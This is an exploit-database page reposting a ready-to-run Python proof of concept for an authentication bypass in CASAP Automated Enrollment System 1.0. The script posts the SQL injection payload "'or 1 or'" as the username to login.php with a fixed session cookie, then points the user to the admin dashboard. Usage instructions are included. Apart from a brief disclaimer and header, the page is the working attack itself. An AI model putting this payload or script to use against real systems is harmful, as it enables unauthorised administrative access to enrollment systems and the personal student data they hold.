Casap automated enrollment system 1.0 authentication bypass Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-01-22 | Type : webapps | Platform : php
This exploit / vulnerability Casap automated enrollment system 1.0 authentication bypass is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: CASAP Automated Enrollment System 1.0 - Authentication Bypass
# Exploit Author: Himanshu Shukla
# Date: 2021-01-21
# Vendor Homepage: https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/Yna%20Ecole/final.zip
# Version: 1.0
# Tested On: Ubuntu + XAMPP 7.4.4
# Description: CASAP Automated Enrollment System 1.0 - Authentication Bypass Using SQLi


#STEP 1 : Run The Exploit With This Command : python3 exploit.py <URL>
# For Example: python3 exploit.py http://10.9.67.23/final/
#STEP 2 : Open the Link Provided At The End After Successful Authentication Bypass in Browser.


import time
import sys
import requests


YELLOW = '\033[33m' # Yellow Text
GREEN = '\033[32m' # Green Text
RED = '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults

print(YELLOW+' _ ______ _ _ ___ ', RESET)
print(YELLOW+' ___| |_ ___ / / ___|| |__ __ _ __| |/ _ \__ __', RESET)
print(YELLOW+" / _ \ __/ __| / /|___ \| '_ \ / _` |/ _` | | | \ \ /\ / /", RESET)
print(YELLOW+'| __/ || (__ / / ___) | | | | (_| | (_| | |_| |\ V V / ', RESET)
print(YELLOW+' \___|\__\___/_/ |____/|_| |_|\__,_|\__,_|\___/ \_/\_/ ', RESET)
print(YELLOW+" ", RESET)
print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')
print('!!! CASAP AUTOMATED ENROLLMENT SYSTEM 1.0 !!!')
print('!!! AUTHENTICATION BYPASS !!!')
print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')

print('Author - Himanshu Shukla')


def authbypass(url):

#Authentication Bypass
s = requests.Session()
#Set Cookie
cookies = {'PHPSESSID': 'c9ead80b7e767a1157b97d2ed1fa25b3'}


print ("[*]Attempting Authentication Bypass...")
time.sleep(1)

values = {"username":"'or 1 or'","password":""}
r=s.post(url+'login.php', data=values, cookies=cookies)
p=s.get(url+'dashboard.php', cookies=cookies)

#Check if Authentication was bypassed or not.
logged_in = True if ("true_admin" in r.text) else False
l=logged_in
if l:
print(GREEN+"[+]Authentication Bypass Successful!", RESET)
print(YELLOW+"[+]Open This Link To Continue As Admin : "+url+"dashboard.php", RESET)
else:
print(RED+"[-]Failed To Authenticate!", RESET)
print(RED+"[-]Check Your URL", RESET)


if __name__ == "__main__":


if len(sys.argv)!=2:
print(RED+"You Haven't Provided any URL!", RESET)
print("Usage : python3 exploit.py <URL>")
print("Example : python3 exploit.py http://10.9.7.3/final/")
exit()

try:

authbypass(sys.argv[1])

except:

print(RED+"[-]Invalid URL!", RESET)
exit()